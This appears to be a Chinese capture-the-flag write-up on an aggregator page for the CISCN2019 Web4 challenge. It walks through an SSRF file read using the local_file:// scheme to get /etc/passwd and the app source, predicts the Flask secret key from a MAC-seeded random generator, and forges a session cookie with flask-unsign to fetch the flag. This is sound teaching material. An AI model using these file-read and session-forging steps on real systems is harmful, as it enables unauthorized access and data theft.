当前位置: 首页 > news >正文

BUU [CISCN2019 华东南赛区]Web4

BUU [CISCN2019 华东南赛区]Web4

题目描述:Click to launch instance.

开题:

image-20231203030538490

点击链接,有点像SSRF

image-20231203030551174

使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。

image-20231203030849532

local_file://协议:

local_file://与file://类似,常用于绕过,可以直接读取本地文件内容

此外,不加协议,直接通过文件名读取文件也行。

/read?url=/etc/passwd

image-20231204163732895

读取后端源码:

/read?url=/app/app.py

源码如下:

import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print str(ex)return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__=='__main__':app.run(debug=True,host="0.0.0.0")

注意print语句print str(ex),可以看出后端是python2。

/flag路由验证了session,若session中的usernamefuck,则返回flag。

session的密钥由random决定,random的seed是uuid.getnode()

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

Mac地址存贮在/sys/class/net/eth0/address

/read?url=local_file:///sys/class/net/eth0/address

得到Mac地址为:2e:44:62:0d:63:0a

image-20231204182610239

根据seed预测伪随机数得到key脚本:(python2跑)

import random
random.seed(0x2e44620d630a)
print(str(random.random()*233))

得到key是73.2021768198,不同人不一样。

我们使用flask-unsign工具来伪造session。

解密session:

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZW2pEQ.-5oJLoBW97fPu-L4toFRwPeAwhE'

加密session:

flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '73.2021768198' --no-literal-eval

得到eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZW2rIw.tPiShhd3WU6VOLoSrTgWQus8Pjc

image-20231204183509747

访问/flag路由,得到flag

image-20231204183626221

http://www.lryc.cn/news/307313.html

相关文章:

  • 【卷积神经网络中用1*1 卷积有什么作用或者好处呢?】
  • 分布式系统概念及其应用
  • 数据报文转换
  • Python爬虫-付费代理推荐和使用
  • kubectl使用及源码阅读
  • C++面试宝典第32题:零钱兑换
  • pyspark分布式部署随机森林算法
  • 【Python笔记-设计模式】中介者模式
  • 大语言模型构建的主要四个阶段(各阶段使用的算法、数据、难点以及实践经验)
  • [云原生] 二进制安装K8S(中)部署网络插件和DNS
  • 云端技术驾驭DAY13——Pod污点、容忍策略、Pod优先级与抢占、容器安全
  • 掌握Docker:让你的应用轻松部署和管理
  • 5G-A,未来已来
  • 智慧公厕让社区生活更美好
  • Apache软件基金会的孵化标准和毕业标准
  • 什么是高可用架构
  • 【Vuforia+Unity】AR04-地面、桌面平面识别功能(Ground Plane Target)
  • 【Git】解决‘每次初始化一个新仓库时,都需要执行git config --global --add safe.directory命令‘
  • Qt的QThread、QRunnable和QThreadPool的使用
  • windows安装部署node.js并搭建Vue项目
  • 【计算机】本科考研还是就业?
  • ChatGPT调教指南 | 咒语指南 | Prompts提示词教程(三)
  • 小程序一键链接WIFI
  • 结构体位域保存传感器数据
  • 66-ES6:var,let,const,函数的声明方式,函数参数,剩余函数,延展操作符
  • prime_series_level-1靶场详解
  • LeetCode刷题笔记之二叉树(三)
  • IBM在闪存系统集成实时恶意软件I/O检测功能
  • bpmn-js中实现xml数据转为json数据
  • HUAWEI Programming Contest 2024(AtCoder Beginner Contest 342)(A,B,C,D,E,F,G)